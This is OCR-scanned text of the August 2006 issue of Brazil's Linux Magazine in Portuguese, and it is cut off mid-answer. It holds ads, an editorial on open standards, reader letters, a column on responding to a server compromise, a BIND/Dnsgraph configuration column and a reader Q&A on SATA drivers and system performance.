Issuu on Google+

08/2006

XANDROS NO BRASIL p.26 Entrevista com James Largotta

CARREIRA: CERTIFICAÇÃO p.24 Linux Professional Institute, vale a pena?

FUI INVADIDO p.10 Augusto Campos conta como proceder

Assinante

A REVISTA DO PROFISSIONAL DE TI

ven d a p ro i b i d a 9 771806 942009

Agosto 2006

# 22

R$ 10,90 € 5,50

00022 exemplar de

Linux Magazine

# 22

#22 08/06

Invasão

SENDMAIL CONTRA O SPAM p.62

Rootkits AppArmor

Livre-se de emails indesejados

SAMBA 4 p.58 Nova versão do servidor universal

SELinux Apache

SERVIDOR À PROVA DE

Sendmail

INVASÃO » Raio-X: como agem os rootkits

Samba Jack

» Gerenciamento de segurança com o AppArmor » A proteção granular do SELinux » Novell e Red Hat confrontam suas soluções

» Apache seguro com ModSecurity

p.28 p.34 p.38 p.42 p.46

Bash Suse 10.1 GCC Python

VEJA TAMBÉM NESTA EDIÇÃO:

LPI

» O que muda no Suse 10.1 p.50 » Áudio profissional é com o JACK p.52 » Otimize seus scripts Bash p.68 » Manipulando imagens no Python p.70 » A potência do GCC 4.1 p.74

http://supertuxbr.blogspot.com

WWW.LINUXMAGAZINE.COM.BR

NOVO PROJETO GRÁFICO E EDITORIAL!


Gabarito

Hospedagem de Sites e Servidores

INTERNET PARA PROFISSIONAIS DE INTERNET

Monitoramento de Rede

http://supertuxbr.blogspot.com

4003-1001

Internet Data Center

Servidores de Alta Disponibilidade

www.plugin.com.br


Expediente editorial

Padrões abertos e Software Livre

EDITORIAL

Diretor Editorial Rafael Peregrino da Silva peregrino@linuxmagazine.com.br Coordenador Editorial e Diretor de Arte Luciano Hagge Dias lhagge@linuxmagazine.com.br Editores Tadeu Carmona tcarmona@linuxmagazine.com.br Pablo Hess phess@linuxmagazine.com.br Tradução e Revisão Livea Marchiori lmarchiori@linuxnewmedia.com.br Design da Capa Luciano Hagge Dias lhagge@linuxmagazine.com.br Centros de Competência Centro de Competência em Software: Oliver Frommel ofrommel@linux-magazine.com Centro de Competência em Hardware: Mirko Dölle mdoelle@linux-magazine.com Centro de Competência em Redes e Segurança: Achim Leitner aleitner@linux-magazine.com Correspondentes & Colaboradores Achim Leiter, Augusto Campos, Amir Alsbih, Bruno Gomes Pessanha, Charly Kühnast, Dave Phillips, Hannes Kasparick, José Maria Ruíz, Klaus Knopper, Marcel Hilzinger, Markus Klimke, Mirko Dölle, Pedro Orantes, Ralf Spenneberg, René Rebe, Zack Brown. Diretor Comercial Claudio Bazzoli cbazzoli@linuxmagazine.com.br Anúncios: Claudio Bazzoli (Brasil) anuncios@linuxmagazine.com.br Tel.: +55 (0)11 2161 5400 Fax: +55 (0)11 2161 5410 Osmund Schmidt (Alemanha, Áustria e Suíça) anzeigen@linux-magazine.com Brian Osborn (Outros países) ads@linux-magazine.com Assinaturas: www.linuxnewmedia.com.br assinaturas@linuxmagazine.com.br Na Internet: www.linuxmagazine.com.br – Brasil www.linux-magazin.de – Alemanha www.linux-magazine.com – Portal Mundial www.linuxmagazine.com.au – Austrália www.linux-magazine.ca – Canadá www.linux-magazine.es – Espanha www.linux-magazine.pl – Polônia www.linux-magazine.co.uk – Reino Unido www.linux-magazin.ro – Romênia Apesar de todos os cuidados possíveis terem sido tomados durante a produção desta revista, a editora não é responsável por eventuais imprecisões nela contidas ou por conseqüências que advenham de seu uso. A utilização de qualquer material da revista ocorre por conta e risco do leitor. Nenhum material pode ser reproduzido em qualquer meio, em parte ou no todo, sem permissão expressa da editora. Assume-se que qualquer correspondência recebida, tal como cartas, emails, faxes, fotografias, artigos e desenhos, são fornecidos para publicação ou licenciamento a terceiros de forma mundial não exclusiva pela Linux New Media do Brasil, a menos que explicitamente indicado. Linux é uma marca registrada de Linus Torvalds. Linux Magazine é publicada mensalmente por: Linux New Media do Brasil Editora Ltda. Rua Arizona, 1349 Conj. 5B – Cidade Monções 04567-003 – São Paulo – SP – Brasil Tel.: +55 (0)11 2161 5400 Fax: +55 (0)11 2161 5410

Prezado leitor, prezada leitora da Linux Magazine, É notório que somente a disponibilidade do código-fonte de um sistema, enquanto extremamente importante, não é suficiente para que o Linux “ganhe o jogo” contra os sistemas proprietários disponíveis no mercado. Uma outra necessidade, tão premente quanto a abertura do código, é a utilização de padrões abertos.

Todo mundo gosta de ter “alguém para estrangular” quando as coisas dão errado. Aquela empresa localizada em Redmond sempre fez questão de disseminar o medo, a incerteza e a dúvida no mercado, lançando no ar a questão: “Se algo der errado na sua empresa ao usar Linux, quem vai pagar o pato?” Quando se fala em software proprietário, fica muito fácil identificar “quem estrangular”: é o fornecedor do aplicativo ou sistema. O problema, entretanto, é que o uso desse tipo de sistema causa o que se convencionou chamar de “aprisionamento ao fornecedor” vendor lock-in – algo especialmente crítico em casos de monopólio. No caso do Linux e do Software Livre, o fornecedor da solução é que fica responsável pelo suporte técnico e pelas atualizações dos sistemas. Há apenas um porém: se essas soluções não seguirem padrões abertos, o aprisionamento com o fornecedor está de volta, mesmo que em menores proporções. Afinal, se padrões como a LSB (Linux Standard Base) não forem seguidos, as soluções de um fornecedor não irão funcionar na plataforma do outro. No final das contas, quando aliamos o Software Livre a padrões abertos, o resultado final é termos o melhor dos dois mundos: soluções sem aprisionamento a um determinado fornecedor e vários “responsáveis para estrangular”. Se uma empresa não me atende, posso contratar uma outra, sem medo de que a solução que rodava na plataforma da primeira não funcione na segunda. Se houver algum problema, há uma liberdade muito grande de experimentar os serviços de um outro fornecedor. E como o código da solução está disponível, podemos até nos dar ao luxo de auditar toda e qualquer modificação efetuada. Tudo isso contribui ainda mais fortemente para o aumento da excelência dos serviços dos diversos fornecedores, bem como na redução dos custos, oriunda da competição entre eles. Padrões e código abertos são assim, o combustível aditivado ideal para fazer qualquer departamento de TI ter um desempenho superior, com mais segurança e menor custo.

Direitos Autorais e Marcas Registradas © 2004 - 2006: Linux New Media do Brasil Editora Ltda. Distribuição: Distmag Impressão e Acabamento: Parma ISSN 1806-9428 Impresso no Brasil

INSTITUTO VERIFICADOR DE CIRCULAÇÃO

em processo de filiação

Rafael Peregrino da Silva Diretor Editorial

http://supertuxbr.blogspot.com Linux Magazine #23 | Setembro de 2006

3


ÍNDICE

CAPA Introdução: Proteção ativa Rootkits, exploração de vulnerabilidades, “buracos” no servidor web… felizmente, há tantas formas de invasão quanto de proteção.

27

Rootkit: Arma secreta Os rootkits atuais infiltram-se nos sistemas alvo no nível do kernel, e assim evitam a atenção indesejada dos administradores. Leiam mais para uma visão prática de como um rootkit funciona.

28

AppArmor: Armadura segura Quando um agressor consegue comprometer um sistema, ele ganha os privilégios da vítima. O AppArmor defende o ataque reduzindo permissões potenciais de cada aplicativo para um mínimo.

34

SELinux: Acesso sob controle O SELinux fornece um forte sistema de controle mandatório de acesso para o Linux. Isso é, se você estiver pronto para todos os detalhes.

38

Confronto: AppArmor x SELinux 42 Security Enhanced Linux ou AppArmor? A Linux Magazine convidou duas personalidades conhecidas da Red Hat e Novell para discutir os méritos de seus sistemas de segurança. ModSecurity: Cão de guarda O módulo ModSecutity fornece grande proteção ao servidor web Apache. Aprenda a configurar suas regras para garantir a segurança sem desperdiçar desempenho.

46

http://supertuxbr.blogspot.com 4

http://www.linuxmagazine.com.br


Linux Magazine 22 | ÍNDICE

COLUNAS Augusto Campos Charly Kühnast Klaus Knopper Zack Brown

TUTORIAL 10 12 14 16

NOTÍCIAS Geral ➧ Google lança repositório de Software Livre

18

➧ Lançado SUSE Linux Enterprise 10 ➧ OpenDarwin fecha as portas ➧ 800 mil computadores para todos vendidos ➧ Novell cancela distribuição de drivers fechados

Jack, o servidor Profissionais de áudio necessitam de um sofisticado servidor de som. Com alta qualidade de som, possibilidade de sincronia em tempo real e ampla conectividade através de redes, o JACK é o servidor de áudio que está se tornando o padrão para profissionais no Linux.

52

SYSADMIN Samba 4 :: Samba do futuro Uma versão de demonstração de novas tecnologias do Samba 4 foi liberada no final de janeiro. Mostramos aqui o que trará a próxima suíte de serviços de arquivo e impressoras Samba.

58

Sendmail :: Fora spam! O spam é uma praga digital e deve ser combatido como tal. O Sendmail oferece diversas abordagens, tanto sozinho quanto acompanhado, para filtrar mensagens indesejadas. Entenda os princípios da filtragem de spam com o Sendmail e outros componentes que podem ajudar muito nessa tarefa, e veja qual abordagem oferece o custo-benefício que você espera.

62

➧ Celulares Motorola com Linux ➧ Fedora Women ➧ Curso de programação Linux na Mandriva Conectiva ➧ Distribuição em destaque: back track 1.0 Segurança ➧ Múltiplas falhas no OpenOffice.org

20

➧ Sendmail ➧ Opera 9 ➧ Kdebase ➧ aRts ➧ Freetype ➧ wv2 ➧ Xine-lib ➧ MySQL ➧ Hashcash

CORPORATE Notícias ➧ Compra da ATI pela AMD pode beneficiar Linux

22 Bash :: Eficiência interna 68 O Bash é o shell padrão de (quase) todas as distribuições Linux. Ele pode automatizar tarefas chamando programas externos em forma de scripts. Mas existem funções internas do próprio Bash que podem tornar seus scripts mais rápidos na escrita e na execução, sem chamar qualquer programa externo.

➧ Recorde em bancos de dados com IBM e Sybase ➧ Xandros oferece Linux para versões órfãs do Windows ➧ Linux expande processamento e armazenamento em indústria alimentícia ➧ Novo gerente de Marketing da Red Hat no Brasil ➧ Parceria entre Mandriva Conectiva e Vexx

Artigo: Certificação Entrevista: James Largotta

PROGRAMAÇÃO

24 26

ANÁLISE Suse 10.1: Vai um upgrade? Algumas mudanças importantes ocorreram na nova versão do Suse Linux, da Novell. Veja se vale a pena atualizar ou migrar sua máquina.

50

Python planetário Quem nunca quis se sentir como os técnicos da NASA em seu centro de controle? Hoje vamos criar o nosso próprio para monitorar o planeta e seus arredores.

70

GCC 4.1 :: Teste de vôo A nova versão do compilador GNU (GCC) vem com uma safra novíssima de otimizações e suporte a Objective-C++. O parser descendente introduzido na versão 4.0 agora é usado para C e Objective-C.

74

SERVIÇOS Editorial Emails Linux.local Eventos Índice de anunciantes Preview

03 06 78 80 80 82

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

5


EMAILS | Escreva pra gente

Emails para o editor

u c.h ww . sx

EMAILS

Permissão de escrita

Email do mês ✎ CD do assinante

Através desta venho manifestar meu descontentamento com a nova política adotada pela Linux Magazine com relação ao envio de CDs. Ocorre que, desde o lançamento desta revista, tenho adquirido meus exemplares nas bancas de revistas e estranhei muito ao comprar os dois últimos números (a saber: 17 e 18 ), porque não vieram com seus respectivos CDs. A princípio imaginei que fosse um erro da banca ou talvez da editora (quando comprei o nº 17), porém hoje, ao adquirir o nº 18 (também sem o CD), liguei para a editora e me informaram que somente assinantes têm acesso aos CDs. Espero que vocês consigam atingir seus objetivos (acredito que seja angariar novos assinantes), todavia, se houverem mais pessoas como eu, talvez seja interessante repensar essa política, pois de minha parte pretendo não mais comprar essa revista (o que é uma pena, pois gosto muito de suas matérias). João Sérgio Caciola Entendemos a sua posição e esperamos que você entenda a nossa: o CD-ROM sempre foi muito mais um brinde, uma espécie de “tiragosto”, mas sempre foi muito limitado pela falta de espaço disponível na mídia. A estratégia da editora agora é fornecer DVD-ROMs com distribuições na íntegra aos interessados. Essa é uma solução muito mais completa e podemos servir melhor nossos clientes dessa forma. Com a retirada do CD-ROM da revista, fomos capazes de realizar uma grande redução do preço de capa para as bancas (e somente para as bancas) e, além disso, aumentar a quantidade de revistas que vão para as bancas em 37%! Ou seja, ficou mais fácil encontrar

sa

nja

g je

ne

ro

–w

Se você tem dúvidas sobre o mundo Linux, críticas ou sugestões que possam ajudar a melhorar a nossa revista, escreva para o seguinte endereço: cartas@linuxmagazine.com.br. Devido ao volume de correspondência, é impossível responder a todas as dúvidas sobre aplicativos, configurações e problemas de hardware que chegam à redação, mas garantimos que elas são lidas e analisadas. As mais interessantes são publicadas nesta seção.

✎ LTSP a revista nas bancas do país. Além disso, há um link no nosso site para baixar a imagem da distribuição do mês. O leitor que deseja comprar a revista na banca não está sendo onerado pelo custo do CD-ROM, podendo pagar mais barato pela revista. Essa estratégia de fornecer DVD-ROMs ao invés de CD-ROMs está, inclusive, chegando também ao assinante: a partir da edição 22 da Linux Magazine, os assinantes irão deixar de receber o CD-ROM mensal e poderão optar pelo recebimento gratuito de um DVDROM semestral, com uma distribuição Linux completa e customizada, além de material adicional. Assim, poderemos oferecer um produto de valor agregado muito superior e, em um semestre, o conteúdo equivalente a 8 CDROMs. Também poderemos dedicar um artigo de análise do conteúdo do DVD-ROM muito mais abrangente, com um tutorial de instalação detalhado, guia de utilização básico etc. De qualquer forma, se as nossas mídias são um diferencial que você deseja adquirir, realmente temos que lhe recomendar a realização da assinatura. Além do DVD-ROM, há também diversas outras vantagens em assinar: descontos especiais de acordo com a vigência da assinatura, não perder nenhum exemplar da revista, um grande desconto por ocasião da renovação, entrega garantida em casa todos os meses, participação em promoções especiais da editora, garantia do seu dinheiro de volta, renovação sem complicação etc. Atenciosamente,

Já acompanho a revista há mais de um ano e as matérias são de excelente conteúdo (aproveito para parabenizá-los). Meus colegas de trabalho e eu configuramos recentemente um servidor LTSP e ficamos bastante empolgados com os resultados. Estamos agora com dificuldades na criação dos boots remotos. Os terminais estão acessando com imagens criadas em disquetes. Gostaria de sugerir uma matéria a respeito desse projeto. Cleanto Silva Obrigado pelo email, Cleanto. Recentemente, publicamos um tutorial de um assunto parecido na edição nº 20. No entanto, o artigo não aborda especificamente o LTSP, mas sim a configuração de uma rede de thin clients e rich clients com Gentoo Linux. ■

Rafael Peregrino da Silva Diretor Editorial

http://supertuxbr.blogspot.com 6

http://www.linuxmagazine.com.br


SEJA LIBRIX NA RUA, SEJA LIBRIX EM CASA, SEJA LIBRIX NO TRABALHO.

A solução completa.

Agora, além do Librix (Linux da Itautec), a sua empresa pode contar com o melhor e mais estável pacote de hardware e software do mercado, testado e homologado pela Itautec.

DPZ

Toda a liberdade que você precisa para trabalhar com mais mobilidade, usando a internet sem fio, e ainda operar com software livre. É mais segurança, porque a Itautec oferece suporte técnico especializado via internet ou pelo telefone, serviços de tuning e configuração e ainda atendimento nacional on site. Tem alta tecnologia para os aplicativos como editor de textos, planilha eletrônica, editor de imagens e apresentações. É mais facilidade e maior flexibilidade no seu dia-a-dia. Na hora de trabalhar, não se sinta preso. Seja Librix.

Foto ilustrativa.

• Compre com 256 MB de memória e leve com 512 MB, sem custo adicional • Software de gerenciamento: Auto Manager Server Monitor

Foto ilustrativa.

Monitor de 15” incluso

Itautec Minitorre

Servidor Itautec LP100

Código da oferta: IN-521LX

Código da oferta: SI-305LX

IDEAL PARA ACESSO À INTERNET E COMUNICAÇÃO.****

• Processador Intel® Celeron® D 315 (256 KB de cache L2, 2.25 GHz, FSB 533 MHz) • 256 MB de memória • HD 40 GB • Floppy • CD-RW • Placa de vídeo integrada • Placa de rede integrada • Fax/Modem 56 Kbps • Teclado e mouse • Monitor de 15”• LIBRIX - Distribuição Linux Itautec • 1 ano de garantia balcão*****

R$

1.249,00

à vista

ou 24 parcelas de R$ 57,28

Condições para venda a pessoa física através do Programa Computador para Todos.**

MELHOR RELAÇÃO CUSTO-BENEFÍCIO.

• Processador Intel® Pentium® 4 530 com Tecnologia HT (1 MB de cache, 3 GHz, FSB 800 MHz) • 256 MB de memória DDR2 400 com ECC • HD SATA 80 GB fixo • Floppy 1,44 MB • CD-ROM 52x IDE • Placa de vídeo 32 MB • 2 interfaces de rede Gigabit • Teclado e mouse • Não inclui sistema operacional • 1 ano de garantia on site***

71 52

Parcelas a partir de R$ Financiamento em até 36x R$ 2.099,00 à vista

,

*

www.itautecshop.com.br CO M P R E D I R E TA M E N T E D O FA B R I C A N T E

PRESENTE EM MAIS DE 2.700 CIDADES.

0800 121 444

De 2ª a 6ª, das 8h às 20h. Sábado, das 9h às 18h. Domingo, das 9h às 15h.

Ofertas válidas até 10/8/2006 ou enquanto durarem os estoques. Celeron, Celeron Inside, Centrino, o logotipo Centrino, Core Inside, Intel, o logotipo Intel, Intel Core, Intel Inside, o logotipo Intel Inside, Intel SpeedStep, Intel Viiv, Itanium, Itanium Inside, Pentium, Pentium Inside, Xeon e Xeon Inside são marcas registradas ou marcas da Intel Corporation ou de suas filiais nos Estados Unidos e em outros países. *Financiamento para pessoa jurídica através do cartão BNDES, com taxa de 1,22% a.m. Necessário possuir o cartão de crédito citado, sujeito a confirmação da disponibilidade da linha de crédito para as localidades e limite para a operação. Consulte nossa Central de Atendimento para informações sobre outras condições de financiamento para pessoa física ou jurídica pelo telefone 0800-121-444. **Entrada de R$ 49,00. Financiamento através da Caixa Econômica Federal. Programa Computador para Todos. Limite máximo de financiamento de 24 meses. Juros de 2% a.m. e TAC de R$ 40,00. Operação isenta de IOF. ***Garantia de um ano on site, de 2ª a 6ª, das 8h30 às 18h, em um raio de 50 km do Centro de Serviços Itautec mais próximo. ****Para possibilitar o acesso à internet são necessários uma linha telefônica ou banda larga e um provedor à sua escolha. A velocidade de comunicação de 56 Kbps depende e pode variar de acordo com o tipo e a qualidade da linha telefônica utilizada. *****Garantia balcão de um ano para partes, peças e serviços. Preços com impostos inclusos para São Paulo. Frete não incluso. Demais características técnicas e de comercialização estão disponíveis em nosso site e no Televendas. Fica ressalvada eventual retificação das ofertas aqui veiculadas. Quantidade: 10 unidades de cada. Empresa/produto beneficiado pela Lei de Informática. Fotos meramente ilustrativas.

http://supertuxbr.blogspot.com


EMAILS | Escreva pra gente

✎ PhantomLiveCD

Gostaria de sugerir um artigo sobre o PhantomLiveCD, que se encontra em http://phantom.nasheer.net. É um projeto recente, porém promissor, cujo objetivo é clonar sistemas, tal como faz o Norton Ghost, porém com muito mais facilidade e muito mais recursos. Entre esses recursos, a capacidade de gravar em diversas mídias, como rede, HD externo, HD local, pendrive e, indiretamente, CD e DVD, e restaurar o sistema a partir de todas essas mídias.

Além desses, há muito mais recursos, sem contar a simplicidade que é uma única mídia para diversos tipos de placas de redes, suporte a HDs SATA e IDE, suporte a teclado USB e no momento, e está sendo desenvolvido o suporte à internacionalização, pois um grupo argentino está trabalhando na tradução. Já está sendo usado por diversas empresas, entre elas a Uranet - Projetos e Sistemas, que possui mais de 1.000 máquinas em dois edifícios, além de atendimento especial, dado por deficientes físicos, que

possuem um CD de restore, sendo que a imagem do sistema está contida em uma partição do disco de seus computadores, fornecidos pela Uranet. ■ Djames Suhanko

✎ Linux do zero

Tenho todas as edições da Linux Magazine. Gostaria de ver publicado na revista um curso de como criar um Linux do zero; mas por favor, não façam pelo Kurumin, já não agüento mais ouvir falar nesse sistema. Existem tantos outros… Nem queria algo baseado no Debian/ Knoppix/Kanotix. Por que não um Suse ou um Mandriva? O curso seria do início, somente as pastas, depois o kernel, depois programas e comandos via texto, depois o ambiente gráfico, depois... No início eu queria apenas ter o sistema sem nenhum ambiente gráfico. Não queria usar um terminal, queria apenas um Linux enxuto e ir acrescentando partes por módulos, como se ensina aqui: http:// komain.sourceforge.net/

Robson Dantas Talvez você já conheça, Robson, mas um “curso” desse tipo já existe: o Linux From Scratch. Inclusive em português brasileiro: http://lfs-br.codigolivre.org.br/. ■

✎ KnoppMyth

Gostaria de sugerir que alguma das edições da revista venha com o CD da distribuição KnoppMyth. Roberto Obrigado pela sugestão Roberto. Essa é uma distribuição realmente bem interessante. ■

Errata A nota “Software Livre em prefeituras”, da seção Notícias da edição nº 20, foi publicada com um erro de informação. ABEP significa Associação Brasileira das Entidades Estaduais de Tecnologia da Informação e Comunicação. A sigla foi explicada erroneamente como Associação Brasileira de Empresas de Pesquisa.

http://supertuxbr.blogspot.com 8

http://www.linuxmagazine.com.br


Banco de Dados Oracle 10g O Banco de Dados número 1 do mundo

a Agortambém para pequenas e médias empresas

A partir R$ 327,00 por usuário

Banco de Dados Oracle 10g Fácil de usar. Fácil de gerenciar.

oracle.com/standardedition ou ligue para 0800 901 985 As seguintes condições e restrições são aplicáveis: o Banco de Dados Oracle 10g Standard Edition One está disponível para licenciamento em duas modalidades: Named User Plus a R$ 327,00 por usuário com um licenciamento mínimo de cinco usuários e Processor a R$ 10.974,00 por processador. O licenciamento do Banco de Dados Oracle 10g Standard Edition One é permitido em servidores que tenham capacidade máxima de 2 CPUs por servidor. Aos valores acima serão acrescidos os tributos aplicáveis. Oferta válida até 31/05/2006. Para mais informações, visite www.oracle.com/standardedition.

http://supertuxbr.blogspot.com Copyright © 2006, Oracle. Todos os direitos reservados. Oracle, JD Edwards e PeopleSoft são marcas registradas da Oracle Corporation e/ou de suas afiliadas. Outros nomes podem ser marcas comerciais de seus respectivos proprietários.


Meu servidor foi invadido: e agora?

COLUNA

Augusto Campos Saiba o que fazer após desconectar a máquina da rede, antes de decidir que a formatação é a única saída.

U

m dos meus livros preferidos na área de administração de sistemas é o Linux System Administration, que tem como um de seus co-autores Jim Dennis, que muitos fãs antigos de Linux devem conhecer como o titular por muitos anos da coluna “The Answer Guy”, da Linux Gazette. Ele foi publicado em 2000 (com prefácio de Eric Raymond), mas consegue se manter atual por não se fixar tanto nos procedimentos da administração de sistemas, mas sim nos métodos, técnicas e mesmo na filosofia que permeia toda essa arte e ciência. Se você encontrar alguma edição à venda por um preço camarada, definitivamente vale a pena. Os conselhos do livro são diretos e sólidos. Alguns itens até parecem óbvios, mas freqüentemente não são atendidos, como o conselho de que todo script de monitoramento que mande resultados por email deve colocar no campo de assunto um resumo de seu resultado, e não apenas a identificação do script, data e servidor. Nossa vida seria muito mais fácil se pudéssemos saber que está tudo ok sem ter de ler o email inteiro, e se pudéssemos saber rapidamente quais emails de relatório ler primeiro e quais simplesmente arquivar, certo? Mas o livro tem um capítulo – extremamente curto – que cai como uma luva para o tema desta edição da Linux Magazine: o que fazer quando um servidor é invadido. Embora muito já se tenha escrito a respeito, as pessoas continuam cometendo os mesmos erros quando descobrem esse que é um dos piores pesadelos dos administradores de rede — e isso às vezes as leva a um ciclo sem fim de formatações, reinstalações e novas invasões. O procedimento proposto leva um pouco mais de tempo, mas evita os atos impensados e os círculos viciosos. Começa

Nossa vida seria muito mais fácil se pudéssemos saber que está tudo ok sem ter de ler o email inteiro, e se pudéssemos saber rapidamente quais emails de relatório ler primeiro e quais simplesmente arquivar, certo?

por uma decisão: haverá interesse em usar o servidor invadido como prova em algum processo? Em caso positivo, não há outra forma de ação possível: você terá que colocá-lo de lado (desconectado da rede, é claro) e fazer uma nova instalação em outro equipamento, no qual retornará o backup mais recente de todos os seus dados. Depois verifique a natureza da falha, usando inclusive um detector de rootkits. Se a invasão se limitou a contas de usuários comuns, é possível (embora raro) que baste restaurar os dados, educar o usuário cuja senha foi descoberta e ativar um monitoramento mais estrito das conexões a essa máquina no futuro próximo. Mas, se há suspeita de invasão com acesso de superusuário, de modo geral será necessária a reinstalação em um sistema de arquivos limpo, seguida de um procedimento que corrija a falha usada para a invasão (antes de recolocar o equipamento na rede). Mas antes de reinstalar, vale a pena preservar todas as informações que podem ser importantes para identificar o que houve: logs, históricos de comandos etc. Muitas vezes eles são removidos ou “limpos” pelo invasor, mas às vezes há pistas suficientes para compreender o que foi feito e de que forma. Uma dica importante é investigar também os logs de outras máquinas da mesma rede, que não tenham sido invadidas. Mas a parte mais importante, e mais freqüentemente negligenciada, vem depois que tudo está reinstalado e funcionando: a revisão geral dos procedimentos e políticas de segurança. Se não houver pessoas habilitadas para fazer essa análise, isso é um sinal claro de problemas – e você deve considerar a idéia de procurar um profissional habilitado e de confiança. Não leve a política de segurança a se tornar um obstáculo ao trabalho dos usuários, mas, ao mesmo tempo não abra mão de procedimentos mais seguros em nome da simples conveniência: o sucesso está no equilíbrio. ■

O autor Augusto César Campos é administrador de TI e, desde 1996, mantém o site BR-linux.org, que cobre a cena do Software Livre no Brasil e no mundo.

http://supertuxbr.blogspot.com 10

http://www.linuxmagazine.com.br


http://supertuxbr.blogspot.com


Dnsgraph: o mestre dos gráficos

COLUNA

Charly Kühnast R

ecentemente ouvi falar de um gênio da memória que conseguia se lembrar do valor de pi com milhares de casas decimais; por outro lado, essa mesma pessoa era incapaz de explicar o valor prático desse exercício. Pessoas assim não precisam de um servidor DNS, pois poderiam decorar alguns milhares de endereços IP. Mas pessoas normais como você e eu provavelmente preferem um DNS. E se você roda um servidor de nomes local, com certeza gostará do Dnsgraph [1]. O nome do projeto sugere similaridade com outros projetos como o Mailgraph e o Queuegraph [2]; realmente, o Dnsgraph se baseia no Mailgraph. A ferramenta lê as informações de status a partir de um arquivo gerado

O Dnsgraph lê as informações de status a partir de um arquivo gerado pelo meu servidor DNS Bind 9, e depois converte os números num gráfico Exemplo 1: Acrescentar ao named.conf 01 02 03 04 05 06 07 08 09

key “rndc-key” { algorithm hmac-md5; secret “senha_secreta”; }; controls { inet 127.0.0.1 port 953 allow { 127.0.0.1; } keys { “rndc-key”; }; };

Exemplo 2: Configuração do Rndc 01 02 03 04 05 06 07 08 09 10

key “rndc-key” { algorithm hmac-md5; secret “senha_secreta”; }; options { default-key “rndc-key”; default-server 127.0.0.1; default-port 953; };

pelo meu servidor DNS Bind 9 [3], e depois converte os números num gráfico. Para acessar essa informação, eu uso o Rndc, um programa de controle que vem no pacote Bind e me permite enviar comandos assinados digitalmente para o servidor de nomes. Isso me permite mandar o servidor gravar as informações de status num arquivo, que o Dnsgraph depois processa. Além do Rndc, também preciso do RDDtool e do módulo de Perl File::Tail.

Hora da configuração

Meu arquivo de configuração do Bind, named.conf, já possui uma seção options, como de costume. Eu acrescento a seguinte linha: statistics-file “/caminho/até/o/named-stats.log”;

Depois eu acrescento os blocos do exemplo 1 para suportar a comunicação com Rndc. A contraparte disso, apresentada na exemplo 2, pertence ao arquivo de configuração do Rndc, normalmente /etc/rndc.conf. Isso deve permitir que o Rndc passe comandos ao Bind. O comando rndc stats faz o Bind criar o arquivo de registro que configuramos antes e adicionar nele algumas informações. Preciso acrescentar o caminho até o arquivo de registro, ou até o RRD, em dnsanalise.pl e dnsreport.pl. No dnsgraph.pl tenho que modificar o caminho da saída (TARGET) e o outro até os scripts do Dnsgraph. As últimas configurações são das entradas do cron. O pacote traz um arquivo de exemplo dnsgraph.cron, então eu só preciso modificar as entradas do caminho de acordo com meu ambiente. O último passo é executar o processo de avaliação. Quinze minutos depois, o RRDtool me dá os resultados (veja a figura 1), tão claros que ninguém duvidará de seu valor prático. ■

Mais Informações [1] Dnsgraph: http://dnsgraph.sourceforge.net [2] Charly Kühnast, “The Sysadmin’s Daily Grind: Explicit markup ends without a blank line” – Linux Magazine International, Junho/2005, p. 55.

[3] Bind :http://www.isc.org/index.pl?/sw/bind/

O autor Charly Kühnast é administrador de sistemas Unix no datacenter Moers, perto do famoso rio Reno, na Alemanha. Lá ele cuida, principalmente, dos firewalls.

http://supertuxbr.blogspot.com 12

http://www.linuxmagazine.com.br


http://supertuxbr.blogspot.com


Pergunte ao Klaus!

COLUNA

Klaus Knopper Esta coluna é baseada na seção “Ask Klaus!”, publicada na Linux Magazine International.

✎ Drivers SATA

Acabei de montar um computador com Linux pra mim. Tudo nele é da última moda. Os componentes são: ➧ 3 discos SATA2 (WD 320 GB) 7200 RPM, com 16 MB de buffer ➧ 512 MB DDR2 533FSB ➧ CPU Intel P4 630 – 3GHz 800FSB/2M box ➧ Placa-mãe Asus P5LD2 VM All-in-1 ➧ DVD-RW Plextor Quando tento instalar o Linux nela (Red Hat 9), a instalação pára no meio. Depois de eu selecionar a língua, o Linux reclama que eu tenho de selecionar “um driver de dispositivo”. Note que nenhuma seleção de drivers que eu fiz funcionou. Não acredito que seja o CDRW, já que ele lê o CD de instalação. Desabilitei a placa de som e a Internet na BIOS. Como os discos SATA2 são novos no mercado, acho que são eles a causa da reclamação. Já mandei as seguintes perguntas para a Red Hat, ASUS e Western Digital, e não recebi nenhuma resposta: ➧ A sua empresa tem drivers de dispositivos SATA2 para RedHat (versão 9)? ➧ Vocês conhecem algum site central que tenha drivers de dispositivos que suportem seu hardware? ➧ Vocês conhecem algum produto Linux além do Red Hat que suporte os novos discos SATA2? Klaus, talvez você possa me ajudar com esse problema. O que eu posso fazer? Resposta Drivers para SATA2 não dependem de uma distribuição específica (ou melhor: as distribuições não devem depender de um kernel específico). Então há grandes chances de você conseguir drivers para a sua máquina a partir dos fontes “normais” do kernel, em www.kernel.org. Compilar um kernel (ou módulos dele) não é terrivelmente difícil, mas escolher as opções corretas para a sua máquina pode ser. Você terá que saber qual chipset SATA2 a sua placamãe usa, e também os outros componentes de hardware, para saber que opções marcar ou desmarcar na configu-

Meu sistema ficará significativamente mais veloz se eu fechar as janelas que estejam minimizadas na barra de tarefas?

ração do kernel. Existem algumas empresas comerciais de código aberto, assim como grupos de usuários Linux, que podem ajudá-lo aqui. Encontrei citações à sua placa-mãe na lista de sucessos de hardware do Ubuntu, então ela já deve ser bem suportada pelos kernels atuais. Você pode tentar ver se os seus discos são reconhecidos usando uma versão atual do Knoppix ou do LiveCD do Ubuntu. Quando você souber que os seus discos estão funcionando com um kernel mais novo, deverá ser possível atualizar o kernel no seu sistema atual, ou instalar uma distribuição que ofereça esse suporte. ■

✎ Aposta de janelas

Por favor me ajude a resolver uma aposta. Meu sistema ficará significativamente mais veloz se eu fechar as janelas que estejam minimizadas na barra de tarefas? Resposta Esta questão não é fácil de resolver para uma aposta, porque depende dos programas que abriram as janelas. Se forem ávidos consumidores de memória e CPU, naturalmente o seu sistema ficará mais rápido se você os fechar. Você pode usar o nice ao iniciar o programa, ou o renice depois, para dar menos prioridade ao processo. Assim, os outros programas facilmente passam na frente dele quando forem usar a CPU. Mas você está certo ao achar que um programa que não esteja rodando não pode consumir recursos do sistema. O OpenOffice.org, por exemplo, mesmo rodando em segundo plano (background) consome muita memória e pode tornar outros processos mais lentos. Um caso mais comum de programas devorando recursos do sistema é um navegador como o Konqueror ou o Firefox exibindo figuras animadas, flash ou applets java que consumam muita CPU e memória. Você pode verificar isso com o comando top. Se você vir muitos recursos consumidos por esses programas, pode reiniciá-los. No 